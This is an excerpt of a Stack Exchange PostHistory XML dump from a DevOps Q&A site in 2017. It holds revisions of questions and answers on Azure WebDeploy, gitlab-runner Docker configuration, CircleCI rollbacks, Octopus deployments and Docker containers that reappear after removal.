  <row Id="4820" PostHistoryTypeId="2" PostId="1488" RevisionGUID="523f6f58-e4fc-4cf9-aa98-9b08e619289f" CreationDate="2017-07-06T20:26:12.897" UserId="3418" Text="We use Azure [Web Apps](https://azure.microsoft.com/en-us/services/app-service/web/) in production. We deploy using [WebDeploy](https://azure.microsoft.com/en-us/services/app-service/web/) either by right-clicking the project in Visual Studio and choosing &quot;Publish...&quot; or via CI in AppVeyor, which is WebDeploy ready.&#xD;&#xA;&#xD;&#xA;My question is: **Is WebDeploy safe for production environments?** Will it interrupt running processes, or does it work some magic to make sure it doesn't? Can we publish to production using WebDeploy during business hours (when our customers are active) and not worry about it? A good answer will provide some documentation on this, as I have not been able to find this yet." ContentLicense="CC BY-SA 3.0" />
  <row Id="4821" PostHistoryTypeId="1" PostId="1488" RevisionGUID="523f6f58-e4fc-4cf9-aa98-9b08e619289f" CreationDate="2017-07-06T20:26:12.897" UserId="3418" Text="Is Azure WebDeploy safe for production Web Apps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4822" PostHistoryTypeId="3" PostId="1488" RevisionGUID="523f6f58-e4fc-4cf9-aa98-9b08e619289f" CreationDate="2017-07-06T20:26:12.897" UserId="3418" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;azure&gt;&lt;appveyor&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4823" PostHistoryTypeId="2" PostId="1489" RevisionGUID="69912b08-24df-4305-bff5-f2dcf0543a39" CreationDate="2017-07-06T21:54:18.593" UserId="3420" Text="WebDeploy by itself cannot guarantee if your application pool will not be recycled during deployment. To be on the safe side, I would use [deployment slots](https://azure.microsoft.com/en-us/resources/videos/azure-websites-deployment-slots-for-staging-sites/). &#xD;&#xA;Also I would recommend to tag question with `azure-web-sites` so right people will help you." ContentLicense="CC BY-SA 3.0" />
  <row Id="4824" PostHistoryTypeId="2" PostId="1490" RevisionGUID="41c23d34-0fd4-4ce0-a83c-4c98b5dd577a" CreationDate="2017-07-07T06:30:35.773" UserId="3427" Text="I have a gitlab instance running in a docker container. Now I would like to setup gitlab-runner on the same host. Both are running:&#xD;&#xA;&#xD;&#xA;    docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED              STATUS                 PORTS                                                            NAMES&#xD;&#xA;    279473dceb2f        gitlab/gitlab-runner:alpine   &quot;/usr/bin/dumb-ini...&quot;   About a minute ago   Up About a minute                                                                       gitlab-runner&#xD;&#xA;    6d7af0d6b946        gitlab/gitlab-ce:latest       &quot;/assets/wrapper&quot;        2 hours ago          Up 2 hours (healthy)   0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp, 0.0.0.0:8022-&gt;22/tcp   gitlab&#xD;&#xA;&#xD;&#xA;I registered a docker image as runner:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;&#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;default shared maven runner&quot;&#xD;&#xA;      url = &quot;http://url-of-my-gitlab.instance&quot;&#xD;&#xA;      token = &quot;valid token&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        pull_policy = &quot;never&quot;&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;maven-java-8:latest&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;The registered image `maven-java-8` is a custom image with the correct settings.xml and it is listed in `docker images`.&#xD;&#xA;&#xD;&#xA;But still the pipeline fails with:&#xD;&#xA;&#xD;&#xA;    ERROR: Job failed: Error response from daemon: repository maven-java-8 not found: does not exist or no pull access&#xD;&#xA;&#xD;&#xA;Which I interpret as it is trying to use the local images inside of the gitlab-runner container.&#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4825" PostHistoryTypeId="1" PostId="1490" RevisionGUID="41c23d34-0fd4-4ce0-a83c-4c98b5dd577a" CreationDate="2017-07-07T06:30:35.773" UserId="3427" Text="How to configure gitlab-runner to run in the same docker host as gitlab?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4826" PostHistoryTypeId="3" PostId="1490" RevisionGUID="41c23d34-0fd4-4ce0-a83c-4c98b5dd577a" CreationDate="2017-07-07T06:30:35.773" UserId="3427" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4827" PostHistoryTypeId="6" PostId="1487" RevisionGUID="e2574a93-10e8-4fbe-8ec6-aa1de11ce01d" CreationDate="2017-07-07T07:30:22.157" UserId="13" Comment="edited tags" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4828" PostHistoryTypeId="5" PostId="1490" RevisionGUID="7ba443fb-f2e1-4f3a-99b8-1c7b9aec7c07" CreationDate="2017-07-07T08:42:59.380" UserId="3427" Comment="update error log" Text="I have a gitlab instance running in a docker container. Now I would like to setup gitlab-runner on the same host. Both are running:&#xD;&#xA;&#xD;&#xA;    docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED              STATUS                 PORTS                                                            NAMES&#xD;&#xA;    279473dceb2f        gitlab/gitlab-runner:alpine   &quot;/usr/bin/dumb-ini...&quot;   About a minute ago   Up About a minute                                                                       gitlab-runner&#xD;&#xA;    6d7af0d6b946        gitlab/gitlab-ce:latest       &quot;/assets/wrapper&quot;        2 hours ago          Up 2 hours (healthy)   0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp, 0.0.0.0:8022-&gt;22/tcp   gitlab&#xD;&#xA;&#xD;&#xA;I registered a docker image as runner:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;&#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;default shared maven runner&quot;&#xD;&#xA;      url = &quot;http://url-of-my-gitlab.instance&quot;&#xD;&#xA;      token = &quot;valid token&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        pull_policy = &quot;never&quot;&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;maven-java-8:latest&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;The registered image `maven-java-8` is a custom image with the correct settings.xml and it is listed in `docker images`.&#xD;&#xA;&#xD;&#xA;But still the pipeline fails with:&#xD;&#xA;&#xD;&#xA;    Running with gitlab-ci-multi-runner 9.3.0 (3df822b)&#xD;&#xA;      on Maven Test (5b2573e4)&#xD;&#xA;    Using Docker executor with image maven-java-8 ...&#xD;&#xA;    Using docker image  sha256:c266311d78b33f89f6eecce00f19a0428e37ba6af6734c8fced32fa11e4bd4ba for predefined container...&#xD;&#xA;    Pulling docker image maven-java-8 ...&#xD;&#xA;    ERROR: Job failed: Error response from daemon: repository maven-java-8 not found: does not exist or no pull access&#xD;&#xA;&#xD;&#xA;Which I interpret as it is trying to use the local images inside of the gitlab-runner container.&#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4829" PostHistoryTypeId="5" PostId="1490" RevisionGUID="0544f4c5-b8b4-43d3-bc08-0913d08e85d5" CreationDate="2017-07-07T08:48:38.247" UserId="3427" Comment="add gitlab and runner versioncontent of .gitlab-ci.yml" Text="I have a gitlab instance running in a docker container. Now I would like to setup gitlab-runner on the same host. Both are running:&#xD;&#xA;&#xD;&#xA;    docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED              STATUS                 PORTS                                                            NAMES&#xD;&#xA;    279473dceb2f        gitlab/gitlab-runner:alpine   &quot;/usr/bin/dumb-ini...&quot;   About a minute ago   Up About a minute                                                                       gitlab-runner&#xD;&#xA;    6d7af0d6b946        gitlab/gitlab-ce:latest       &quot;/assets/wrapper&quot;        2 hours ago          Up 2 hours (healthy)   0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp, 0.0.0.0:8022-&gt;22/tcp   gitlab&#xD;&#xA;&#xD;&#xA;I registered a docker image as a shared runner:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;&#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;default shared maven runner&quot;&#xD;&#xA;      url = &quot;http://url-of-my-gitlab.instance&quot;&#xD;&#xA;      token = &quot;valid token&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        pull_policy = &quot;never&quot;&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;maven-java-8:latest&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;The registered image `maven-java-8` is a custom image with the correct settings.xml and it is listed in `docker images`.&#xD;&#xA;&#xD;&#xA;But still the pipeline fails with:&#xD;&#xA;&#xD;&#xA;    Running with gitlab-ci-multi-runner 9.3.0 (3df822b)&#xD;&#xA;      on Maven Test (5b2573e4)&#xD;&#xA;    Using Docker executor with image maven-java-8 ...&#xD;&#xA;    Using docker image  sha256:c266311d78b33f89f6eecce00f19a0428e37ba6af6734c8fced32fa11e4bd4ba for predefined container...&#xD;&#xA;    Pulling docker image maven-java-8 ...&#xD;&#xA;    ERROR: Job failed: Error response from daemon: repository maven-java-8 not found: does not exist or no pull access&#xD;&#xA;&#xD;&#xA;Which I interpret as it is trying to use the local images inside of the gitlab-runner container.&#xD;&#xA;&#xD;&#xA;The GitLab version is gitlab-ce 9.2.7 and the runner version is v9.3.0.&#xD;&#xA;&#xD;&#xA;The content of my .gitlab-cy.yml is:&#xD;&#xA;&#xD;&#xA;    test:&#xD;&#xA;      script:&#xD;&#xA;        - mvn clean test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4830" PostHistoryTypeId="12" PostId="1490" RevisionGUID="9d9964aa-b0f9-41d6-95ac-a9f9971359e9" CreationDate="2017-07-07T10:34:22.400" UserId="3427" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3427,&quot;DisplayName&quot;:&quot;T.Grottker&quot;}]}" />
  <row Id="4831" PostHistoryTypeId="2" PostId="1491" RevisionGUID="032fb12a-779d-429e-a601-d1cf47e07e1f" CreationDate="2017-07-07T10:39:02.610" UserId="3431" Text="You need to collect static assets in your Django&#xD;&#xA;&#xD;&#xA;    cd /opt/graphite/webapp &amp;&amp; PYTHONPATH=/opt/graphite/webapp django-admin.py collectstatic --noinput --settings=graphite.settings&#xD;&#xA;&#xD;&#xA;Static files will be installed in **/opt/graphite/static**.&#xD;&#xA;Then you need to configure your webserver to serve them directly.&#xD;&#xA;For Nginx something like:&#xD;&#xA;&#xD;&#xA;    location /static {&#xD;&#xA;       root /opt/graphite&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="4832" PostHistoryTypeId="2" PostId="1492" RevisionGUID="904252a0-d37e-457a-9986-ea1623abdaca" CreationDate="2017-07-07T15:38:54.437" UserId="2845" Text="In terms of development procedure, you should consider using the [agile method](https://en.wikipedia.org/wiki/Agile_software_development). This is the most [widely used method of software development](https://insights.stackoverflow.com/survey/2017#work-which-methodologies-do-developers-use) and has proven itself. Within the scope of the agile method [Pair programming](https://en.wikipedia.org/wiki/Pair_programming) will allow you to spool up another developer to assist with your projects when you are ready and find that you have more work than you can handle. You can then move into a [standard agile method like scrum/kanban/scrumban](https://en.wikipedia.org/wiki/Agile_software_development#Agile_software_development_practices) (or continue the pair programming if you find you like it!)&#xD;&#xA;&#xD;&#xA;One particular reason for choosing this method is that is lends itself well to DevOps and Continuous Integration. In fact, one could describe DevOps as a *specific way* of implementing the agile method. The Iterative, incremental and evolutionary philosophy of agile and the very short feedback loop and adaptation cycle [marry beautifully](https://en.wikipedia.org/wiki/Agile_software_development#Quality_focus) with DevOps/Continuous Integration and provide a solid foundation to build upon.&#xD;&#xA;&#xD;&#xA;&gt;Here in the agency we have a infrastructure team as well, with the possibility to set-up our own internal or external servers to handle things.&#xD;&#xA;&#xD;&#xA;Make good friends with the infrastructure team. Involve them early and often and drive them towards a [Infrastructure/Configuration as Code](https://en.wikipedia.org/wiki/Infrastructure_as_Code) philosophy which will allow you to collaborate closely with them. While it might seem like it is faster to just do it manually, doing so is creating [technical debt.](https://en.wikipedia.org/wiki/Technical_debt) In a few years when it comes time to upgrade, no one will remember how the thing is built. It will also allow the infrastructure team to look good. Never again will they make a mistake during deployment. Either the deployment code works or it doesn't - making upgrades easy and horizontal scaling a breeze. Ignoring this also slows down you development. If you can just fire up a new server, have it pull down (and compile) your latest git commit, run through an automated testing suite and then E-mail you the results while you go do something else it is a huge time-saver.&#xD;&#xA;&#xD;&#xA;If you can, utilize the cloud. While this might make your Infrastructure team leery, just remind them that the cloud is just someone elses computer. All the cloud does is provide you with hardware. It will still require someone from the infrastructure team to install maintain and operate it. And it will allow you to avoid scalability issues. The database problems, storage and backup issues and headaches have now been outsourced.&#xD;&#xA;&#xD;&#xA;&gt;and I have little control over the client's servers.&#xD;&#xA;&#xD;&#xA;See what you can do about this. Consider leveraging a tool like [The Forman's](https://www.theforeman.org/) Katello scenario (I like to deploy it with Salt Stack personally - I don't like ruby) which will allow you to manage and [deploy your VMs on nearly any iron or cloud (including bare metal)](https://theforeman.org/manuals/1.15/index.html#5.2ComputeResources), manage the configuration of that hosts using Salt Stack, Chef, Puppet or Ansible, manage your docker containers and manage updates to your machines. This will allow you to then easily provide the code to your client to either A) automate or B) manually deploy their updates and deployments. Once you have proven the value of the speed and efficiency this method gives you, you may be able to simply use these same tools to spawn your client a copy of this stack for managing their environment or you may be able to talk/upsell your clients into letting you manage these deployments - The Foreman will allow you to configure sites and organizations (as well as mange users if paired with FreeIPA) so you can configure multi-tenancy. And the project is [backed and supported by Red Hat](https://en.wikipedia.org/wiki/Satellite_(software)).&#xD;&#xA;&#xD;&#xA;If you have any doubts about the above, I recommend you pick up a [copy](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262592) of &quot;The Phoenix Project&quot; of the [Audiobook](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/B00VATFAMI/ref=tmm_aud_swatch_0?_encoding=UTF8&amp;qid=&amp;sr=) which illustrates very well the value and benefit of the above.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4833" PostHistoryTypeId="5" PostId="1492" RevisionGUID="9838e34f-7c6a-44b3-8cb8-ee6a49371493" CreationDate="2017-07-07T15:45:58.663" UserId="2845" Comment="added 784 characters in body" Text="In terms of development procedure, you should consider using the [agile method](https://en.wikipedia.org/wiki/Agile_software_development). This is the most [widely used method of software development](https://insights.stackoverflow.com/survey/2017#work-which-methodologies-do-developers-use) and has proven itself. Within the scope of the agile method [Pair programming](https://en.wikipedia.org/wiki/Pair_programming) will allow you to spool up another developer to assist with your projects when you are ready and find that you have more work than you can handle. You can then move into a [standard agile method like scrum/kanban/scrumban](https://en.wikipedia.org/wiki/Agile_software_development#Agile_software_development_practices) (or continue the pair programming if you find you like it!)&#xD;&#xA;&#xD;&#xA;One particular reason for choosing this method is that is lends itself well to DevOps and Continuous Integration. In fact, one could describe DevOps as a *specific way* of implementing the agile method. The Iterative, incremental and evolutionary philosophy of agile and the very short feedback loop and adaptation cycle [marry beautifully](https://en.wikipedia.org/wiki/Agile_software_development#Quality_focus) with DevOps/Continuous Integration and provide a solid foundation to build upon.&#xD;&#xA;&#xD;&#xA;&gt;Here in the agency we have a infrastructure team as well, with the possibility to set-up our own internal or external servers to handle things.&#xD;&#xA;&#xD;&#xA;Make good friends with the infrastructure team. Involve them early and often and drive them towards a [Infrastructure/Configuration as Code](https://en.wikipedia.org/wiki/Infrastructure_as_Code) philosophy which will allow you to collaborate closely with them. While it might seem like it is faster to just do it manually, doing so is creating [technical debt.](https://en.wikipedia.org/wiki/Technical_debt) In a few years when it comes time to upgrade, no one will remember how the thing is built. It will also allow the infrastructure team to look good. Never again will they make a mistake or forget a step during deployment. Either the deployment code works or it doesn't and it will deploy exactly the same way it deployed in test/staging - making deployments and upgrades easy and horizontal scaling a breeze. Ignoring these techniques also slows down *your* development. If you can just fire up a new server, have it pull down (and compile) your latest git commit, run through an automated testing suite and then E-mail you the results while you go do something else it is a huge time-saver.&#xD;&#xA;&#xD;&#xA;If you can, utilize the cloud - with Amazon for instance, a lot of the tools are [already built for you](https://aws.amazon.com/products/). While this might make your Infrastructure team leery, just remind them that the cloud is just someone elses computer. All the cloud does is provide you with hardware. It will still require someone from the infrastructure team to install maintain and operate it. And it will allow you to avoid scalability issues. The database problems, storage and backup issues and headaches have now been outsourced.&#xD;&#xA;&#xD;&#xA;&gt;and I have little control over the client's servers.&#xD;&#xA;&#xD;&#xA;See what you can do about this. Consider leveraging a tool like [The Forman's](https://www.theforeman.org/) Katello scenario (I like to deploy it with Salt Stack personally - I don't like ruby) which will allow you to manage and [deploy your VMs on nearly any iron or cloud (including bare metal)](https://theforeman.org/manuals/1.15/index.html#5.2ComputeResources), manage the configuration of that hosts using Salt Stack, Chef, Puppet or Ansible, manage your docker containers and manage updates to your machines. This will allow you to then easily provide the code to your client to either A) automate or B) manually deploy their updates and deployments. Once you have proven the value of the speed and efficiency this method gives you, you may be able to simply use these same tools to spawn your client a copy of this stack for managing their environment or you may be able to talk/upsell your clients into letting you manage these deployments - The Foreman will allow you to configure sites and organizations (as well as mange users if paired with FreeIPA) so you can configure multi-tenancy. And the project is [backed and supported by Red Hat](https://en.wikipedia.org/wiki/Satellite_(software)).&#xD;&#xA;&#xD;&#xA;If you have any doubts about the above, I recommend you pick up a [copy](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262592) of &quot;The Phoenix Project&quot; of the [Audiobook](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/B00VATFAMI/ref=tmm_aud_swatch_0?_encoding=UTF8&amp;qid=&amp;sr=) which illustrates very well the value and benefit of the above.&#xD;&#xA;&#xD;&#xA;&gt;One of the first things I plan to do, is to elect a preferred development language and framework&#xD;&#xA;&#xD;&#xA;If you go this route, just make sure to standardize on a language that [plays well with REST](https://en.wikipedia.org/wiki/Representational_state_transfer) most DevOps stuff uses this interface.&#xD;&#xA;&#xD;&#xA;And finally,&#xD;&#xA;&#xD;&#xA;&gt;The entire dev team had been hired by another company - and they didn't have a solid process as well, only a few gits here and there&#xD;&#xA;&#xD;&#xA;Do what you can to merge these together into one place. It will make your life a heck of a lot easier.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4834" PostHistoryTypeId="2" PostId="1493" RevisionGUID="3ca97cd9-9b36-4605-8bb6-c89fe3b911a8" CreationDate="2017-07-07T16:07:24.653" UserId="3433" Text="I created a Service Account in the Google Cloud console to let Codeship push Docker images to Google Container Registry, but when I test it with `jet steps --push` it says I don't have permissions.&#xD;&#xA;&#xD;&#xA;    {StepFinished=step_name:&quot;push_app&quot; type:STEP_FINISHED_TYPE_ERROR}                                                                                                                 &#xD;&#xA;    Image Push error for image gcr.io/my-project/my-app:1499432530, denied: Unable to access the repository; please check that you have permission to access it&#xD;&#xA;&#xD;&#xA;The service account already has full owner permissions to my account. Is there anything I need to check in the Google console or my Codeship configuration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4835" PostHistoryTypeId="1" PostId="1493" RevisionGUID="3ca97cd9-9b36-4605-8bb6-c89fe3b911a8" CreationDate="2017-07-07T16:07:24.653" UserId="3433" Text="Codeship cannot push image to Google Container Registry" ContentLicense="CC BY-SA 3.0" />
  <row Id="4836" PostHistoryTypeId="3" PostId="1493" RevisionGUID="3ca97cd9-9b36-4605-8bb6-c89fe3b911a8" CreationDate="2017-07-07T16:07:24.653" UserId="3433" Text="&lt;docker&gt;&lt;continuous-delivery&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4838" PostHistoryTypeId="2" PostId="1494" RevisionGUID="d76a311e-e44b-4759-9818-69fc8671c055" CreationDate="2017-07-09T12:25:42.550" UserId="6" Text="The new CircleCI 2.0 configuration allows to have a step of type `approve` which waits for user input. Is there some way to not just deploy code using manual stop, but also have a rollback to a previous version based on used input?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4839" PostHistoryTypeId="1" PostId="1494" RevisionGUID="d76a311e-e44b-4759-9818-69fc8671c055" CreationDate="2017-07-09T12:25:42.550" UserId="6" Text="CircleCI Deployment with Rollback" ContentLicense="CC BY-SA 3.0" />
  <row Id="4840" PostHistoryTypeId="3" PostId="1494" RevisionGUID="d76a311e-e44b-4759-9818-69fc8671c055" CreationDate="2017-07-09T12:25:42.550" UserId="6" Text="&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4841" PostHistoryTypeId="2" PostId="1495" RevisionGUID="c2b1e389-68e4-411d-bf0d-fdb221cebf26" CreationDate="2017-07-09T16:46:36.040" UserId="3444" Text="Yes.. we can control the packages using nuspec file which will be added to your solution and you will be specifying the list of folders/files you dont wanna deploy. And you will use that nuspec to create the nuget package for deployments" ContentLicense="CC BY-SA 3.0" />
  <row Id="4842" PostHistoryTypeId="2" PostId="1496" RevisionGUID="9bf8de4d-4fdb-47ee-91d6-92cde99de0dc" CreationDate="2017-07-10T05:08:45.560" UserId="3447" Text="I am constantly delivering RPM packages upon every new version of some project.&#xD;&#xA;&#xD;&#xA;Every version is dependent on some developing prerequisites&#xD;&#xA;&#xD;&#xA;1. CentOS 7&#xD;&#xA;2. git&#xD;&#xA;3. Some npm packages.&#xD;&#xA;4. Some Python PIP packages&#xD;&#xA;5. Some shared objects&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm dealing with this issue currently with having a virtual machine for every release, and that is very convenient to release every version - just load the ova file of the specific machine and you are ready to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but the problem is, the overhead of dealing with virtual machines:  cloning and other operations - taking too much time.&#xD;&#xA;&#xD;&#xA;What do you recommend in order to do it much more easier? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4843" PostHistoryTypeId="1" PostId="1496" RevisionGUID="9bf8de4d-4fdb-47ee-91d6-92cde99de0dc" CreationDate="2017-07-10T05:08:45.560" UserId="3447" Text="RPM's, VM's : time consuming" ContentLicense="CC BY-SA 3.0" />
  <row Id="4844" PostHistoryTypeId="3" PostId="1496" RevisionGUID="9bf8de4d-4fdb-47ee-91d6-92cde99de0dc" CreationDate="2017-07-10T05:08:45.560" UserId="3447" Text="&lt;release&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4845" PostHistoryTypeId="5" PostId="1371" RevisionGUID="4498dbc1-50e4-4ae2-a7b4-6dd06acc79b8" CreationDate="2017-07-10T05:27:01.060" UserId="739" Comment="link to Octopus and add .net tag" Text="We are using [Octopus](https://octopus.com/) for our deployment to different environments. But we found that it always packages the complete solution and deploy it to the next level.&#xD;&#xA;Is it possible to put some restrictions - like do not copy and deploy the config folders.&#xD;&#xA;In our case we just need to deploy some specific folders and not the complete packaged solution. Is this possible with Octopus." ContentLicense="CC BY-SA 3.0" />
  <row Id="4846" PostHistoryTypeId="6" PostId="1371" RevisionGUID="4498dbc1-50e4-4ae2-a7b4-6dd06acc79b8" CreationDate="2017-07-10T05:27:01.060" UserId="739" Comment="link to Octopus and add .net tag" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4847" PostHistoryTypeId="24" PostId="1371" RevisionGUID="4498dbc1-50e4-4ae2-a7b4-6dd06acc79b8" CreationDate="2017-07-10T05:27:01.060" Comment="Proposed by 739 approved by -1 edit id of 377" ContentLicense="CC BY-SA 3.0" />
  <row Id="4848" PostHistoryTypeId="5" PostId="1371" RevisionGUID="09014ca7-1cff-42e4-b3c6-78ffe307aad5" CreationDate="2017-07-10T05:27:01.060" UserId="47" Comment="link to Octopus and add .net tag" Text="We are using [Octopus](https://octopus.com/) for our deployment to different environments. But we found that it always packages the complete solution and deploys it to the next level.&#xD;&#xA;Is it possible to put some restrictions - like do not copy and deploy the config folders.&#xD;&#xA;In our case we just need to deploy some specific folders and not the complete packaged solution. Is this possible with Octopus." ContentLicense="CC BY-SA 3.0" />
  <row Id="4849" PostHistoryTypeId="13" PostId="1490" RevisionGUID="37cf494b-f6c7-47a0-9e3f-23c50d0fcf53" CreationDate="2017-07-10T07:13:31.770" UserId="3427" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3427,&quot;DisplayName&quot;:&quot;T.Grottker&quot;}]}" />
  <row Id="4850" PostHistoryTypeId="5" PostId="1494" RevisionGUID="3dde71af-23dc-4a53-ac5a-a61b961e4c90" CreationDate="2017-07-10T07:23:39.047" UserId="6" Comment="better title" Text="The new CircleCI 2.0 configuration allows to have a step of type `approve` which waits for user input. Is there some way to not just deploy code using manual stop, but also have a rollback to a previous version based on user input?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4851" PostHistoryTypeId="4" PostId="1494" RevisionGUID="3dde71af-23dc-4a53-ac5a-a61b961e4c90" CreationDate="2017-07-10T07:23:39.047" UserId="6" Comment="better title" Text="CircleCI manually approved Deployment with Rollback" ContentLicense="CC BY-SA 3.0" />
  <row Id="4852" PostHistoryTypeId="2" PostId="1497" RevisionGUID="33837258-6212-4a96-995e-95bfd2fbe53b" CreationDate="2017-07-10T07:36:24.760" UserId="3427" Text="__Management Summary__&#xD;&#xA;&#xD;&#xA;Set the `pull_policy` to `&quot;never&quot;` in the `[runners.docker]` section by calling:&#xD;&#xA;&#xD;&#xA;    docker exec -it gitlab-runner \&#xD;&#xA;      vi /etc/gitlab-runner/config.toml&#xD;&#xA;&#xD;&#xA;__Detailed Description__&#xD;&#xA;&#xD;&#xA;It seemed the problem was a confusion with images and mounted volumes.&#xD;&#xA;&#xD;&#xA;The documentation says to configure runners in:&#xD;&#xA;&#xD;&#xA;    /etc/gitlab-runner/config.toml&#xD;&#xA;&#xD;&#xA;Which I did, but on the host machine.&#xD;&#xA;When running `gitlab-runner` in a docker container, it mounts a volume:&#xD;&#xA;&#xD;&#xA;    ... -v /srv/gitlab-runner/config:/etc/gitlab-runner ...&#xD;&#xA;&#xD;&#xA;This means, that the configuration file in `/etc/...` in the container is mounted to `/srv/...` on the host machine.&#xD;&#xA;&#xD;&#xA;In this file the `pull_policy` was not set, which defaults to always, what ultimately caused my problem in the first place." ContentLicense="CC BY-SA 3.0" />
  <row Id="4856" PostHistoryTypeId="2" PostId="1499" RevisionGUID="58a60007-8da4-40c7-939c-f2cd403345a3" CreationDate="2017-07-10T10:04:41.783" UserId="3429" Text="I'm using ubuntu-16.04 desktop and Installed the `Docker-1.5-1`, In which installed `openmedicus/phplist`. my aim to remove container and image as well.&#xD;&#xA;&#xD;&#xA;But issue is that, It's remove successfully but after sometime it's automatically created with diffrent container ID. even i try to remove images also but facing same issue;&#xD;&#xA;&#xD;&#xA;trying to remove images:&#xD;&#xA;&#xD;&#xA;    $ docker images | grep phplist&#xD;&#xA;    openmedicus/phplist             latest              24d3de5279cb        4 months ago        694MB&#xD;&#xA; &#xD;&#xA;    $ docker rmi openmedicus/phplist:latest --force&#xD;&#xA;    Untagged: openmedicus/phplist:latest&#xD;&#xA;    Untagged: penmedicus/phplist@sha256:6ac98b2f624eb8cd61b64c4b398650975a876224d5925175c58ff0c1b05a2593&#xD;&#xA;&#xD;&#xA;    $ docker images | grep phplist    ## Delete Sucessfully&#xD;&#xA;&#xD;&#xA;Now trying to remove container :&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    b02b641560e8        24d3de5279cb             &quot;/bin/sh -c /usr/s...&quot;   2 minutes ago       Up 2 minutes        0.0.0.0:8080-&gt;80/tcp                                 &#xD;&#xA;    $ docker stop b02b641560e8&#xD;&#xA;    b02b641560e8&#xD;&#xA;&#xD;&#xA;    $ docker rm b02b641560e8 --force   # Remove Sucessfully&#xD;&#xA;    b02b641560e8&#xD;&#xA;&#xD;&#xA;Again container created automatically :&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    2c78199dc40c        openmedicus/phplist      &quot;/bin/sh -c /usr/s...&quot;   29 seconds ago      Up 28 seconds       0.0.0.0:8080-&gt;80/tcp                                 phplist&#xD;&#xA;&#xD;&#xA;How to remove docker container and image permanently ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4857" PostHistoryTypeId="1" PostId="1499" RevisionGUID="58a60007-8da4-40c7-939c-f2cd403345a3" CreationDate="2017-07-10T10:04:41.783" UserId="3429" Text="After remove docker container, it's automatically created?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4858" PostHistoryTypeId="3" PostId="1499" RevisionGUID="58a60007-8da4-40c7-939c-f2cd403345a3" CreationDate="2017-07-10T10:04:41.783" UserId="3429" Text="&lt;docker&gt;&lt;containers&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
